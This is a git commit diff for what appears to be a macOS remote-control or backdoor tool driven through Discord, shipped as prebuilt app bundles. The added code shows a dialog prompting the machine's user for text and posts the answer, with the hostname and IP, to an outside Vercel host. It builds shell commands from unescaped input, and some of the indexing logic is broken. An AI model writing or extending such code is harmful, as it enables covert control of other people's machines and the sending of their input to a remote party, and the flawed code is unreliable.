summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorlittleblack111 <littleblack11111@gmail.com>2023-08-30 02:04:42 +0800
committerlittleblack111 <littleblack11111@gmail.com>2023-08-30 02:04:42 +0800
commit313d12d0f9319fbf2621544d525d9d5a2ba0c2b2 (patch)
tree7a70d1d9c25df5d910ed67fa3b96a9450c9f5f51
parent24b82deca2406240f4f56a83fa65fb85bebd0de6 (diff)
udpated
-rwxr-xr-xdist/main-macbin7454752 -> 7455232 bytes
-rw-r--r--dist/main.app.zipbin7380179 -> 7380681 bytes
-rwxr-xr-xdist/main.app/Contents/MacOS/mainbin7454752 -> 7455232 bytes
-rw-r--r--dist/setup.app.zipbin7372312 -> 7372312 bytes
-rw-r--r--main.py21
5 files changed, 21 insertions, 0 deletions
diff --git a/dist/main-mac b/dist/main-mac
index 55e367e..4bd5da9 100755
--- a/dist/main-mac
+++ b/dist/main-mac
Binary files differ
diff --git a/dist/main.app.zip b/dist/main.app.zip
index 5ba3664..efe36da 100644
--- a/dist/main.app.zip
+++ b/dist/main.app.zip
Binary files differ
diff --git a/dist/main.app/Contents/MacOS/main b/dist/main.app/Contents/MacOS/main
index 384b7a0..f080f39 100755
--- a/dist/main.app/Contents/MacOS/main
+++ b/dist/main.app/Contents/MacOS/main
Binary files differ
diff --git a/dist/setup.app.zip b/dist/setup.app.zip
index 155a441..eafb956 100644
--- a/dist/setup.app.zip
+++ b/dist/setup.app.zip
Binary files differ
diff --git a/main.py b/main.py
index 616288d..510e369 100644
--- a/main.py
+++ b/main.py
@@ -223,6 +223,27 @@ while True:
except KeyboardInterrupt:
continue
continue
+ elif localcmd[1] == 'askdialog' or localcmd[1] == 'asklog' or localcmd == 'question':
+ if localcmd[2<len(localcmd)]:
+ r = system(f'osascript -e \'display dialog "{localcmd[2]}" default answer ""\' -e \'text returned of result\' -e \'\'', shell=True, stdout=PIPE, stderr=PIPE)
+ cmdout, cmderr = r.communicate()
+ try:
+ post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```{cmdout.decode()}```")
+ except:
+ try:
+ post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```Failed to ask with dialog```")
+ except KeyboardInterrupt:
+ continue
+ continue
+ else:
+ try:
+ post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```Please do question argument```")
+ except KeyboardInterrupt:
+ continue
+ continue
+
+
+
elif localcmd[1] == 'notify' or localcmd[1] == 'notification':
if localcmd[4>len(localcmd)]:
if ossystem(f"osascript -e 'display notification \"{localcmd[2]}\" with title \"{localcmd[3]}\" subtitle \"{localcmd[4]}\"'") == 0: